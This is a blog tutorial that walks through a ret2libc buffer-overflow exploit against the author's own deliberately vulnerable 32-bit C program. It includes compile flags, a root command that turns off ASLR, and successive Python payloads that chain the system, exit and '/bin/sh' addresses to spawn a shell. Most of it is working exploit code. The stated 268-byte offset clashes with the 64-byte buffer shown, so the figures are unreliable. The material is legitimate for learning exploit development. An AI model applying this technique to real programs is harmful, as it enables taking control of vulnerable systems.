Hi, today in this post I want to show how to make a Ret2libc exploit.
This type of exploit is not an exploit itself but rather a technique that the exploit uses. This technique is used to exploit non-executable stacks, since we do not need to inject shellcode as in the classic buffer overflow exploit. Because programs today are compiled with NX and DEP, it is no longer possible to execute the buffer in the stack, which is only writable. The advantage with this method is that here internal functions from the C-Library are used. With each program, which is written in C or C++, the C-Library is included with and is executable. And exactly this method uses.
Vulnerable application
Ok lets go. First we need a program which has a bufferoverflow gap. I just made a small program for it, which should fulfill the requirements.
#include <stdio.h>
#include <stdlib.h>
void foo(char* buf)
{
char buffer[64];
strcpy(buffer, buf);
}
int main(int argc, char **argv)
{
foo(argv[1]);
printf("%s", argv[1]);
}
We simply compile the whole thing with GCC:
gcc -m32 -mpreferred-stack-boundary=2 -o vuln vuln.c
Next we should disable the ASLR to avoid problems later:
root~$ echo 0 > /proc/sys/kernel/randomize_va_space
Now we can start with the development. Let's just start debugging the program in GDB and see how the offset to the EIP is.
We see in the picture that the EIP is overwritten at 272 bytes (A's + 'BBBB'), meaning the offset is 268 bytes. Ok now we can think about what a Ret2libc exploit looks like. The first part of the exploit is similar to the classic bufferoverflow exploit. Here we have to overwrite the EIP. We have the offset. With this we can start to build the exploit. For this I use Python.
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import struct
padding = 'A' * 268
print padding + 'BBBB'
The next part of the exploit is that we somehow make a system
call.
To do this, we run GDB again and crash the test application. This brings us back to the picture from above. Now, since "libc" is included, we can search for the system
function. To do this, we simply have to send a print command with the parameter system
. Voila we have found the address.
Now that we have found the function, we can extend our exploit. For this purpose, the module "struct" is used.
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import struct
padding = 'A' * 268
system = struct.pack('<I', 0xf7e049e0)
print padding + 'BBBB'
The address which points to the function system
we simply convert to Little-Endian Unsigned Integer. Quasi the address backwards. Now we have to search for the string /bin/sh
, which we pass as parameter to the function system
. Different to the search for the function, we have to use the command find.
We also convert this address accordingly and include it in our exploit.
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import struct
padding = 'A' * 268
system = struct.pack('<I', 0xf7e049e0)
binsh = struct.pack('<I', 0xf7f44aaa)
print padding + 'BBBB'
Finally we need the function exit
so that we have a valid return address after calling the function system
. Also here we make a print command.
We now extend our exploit to include this address as well and are done collecting.
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import struct
padding = 'A' * 268
system = struct.pack('<I', 0xf7e049e0)
binsh = struct.pack('<I', 0xf7f44aaa)
exit = struct.pack('<I', 0xf7df7a60)
print padding + 'BBBB'
Ok, now we have to figure out how to arrange the addresses so that the exploit works. Definitely the EIP, with the address of the function system
, must be overwritten, so that we can jump in there. Now only the two addresses /bin/sh
and exit
remain. If you make a function call in assembler, before we can access the first parameter, we have 4 bytes, which store the return address. So with this it is clear that next we append the address of the function exit
, to our exploit. After that we can append the address of the string. The exploit then looks like this.
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import struct
padding = 'A' * 268
system = struct.pack('<I', 0xf7e049e0)
binsh = struct.pack('<I', 0xf7f44aaa)
exit = struct.pack('<I', 0xf7df7a60)
print padding + system + exit + binsh
If we run the whole thing once in GDB, we should get a shell.
Sweet, we got a shell! Ok, does this work without GDB? Yes, the only thing we should do to make it work is to disable the ASLR.
Here you can see that the exploit even works outside of GDB and gives us a shell. Ret2Libc is quite an interesting technique to kill Non-Executable stacks.
I hope you enjoyed it and see you in the next post 😄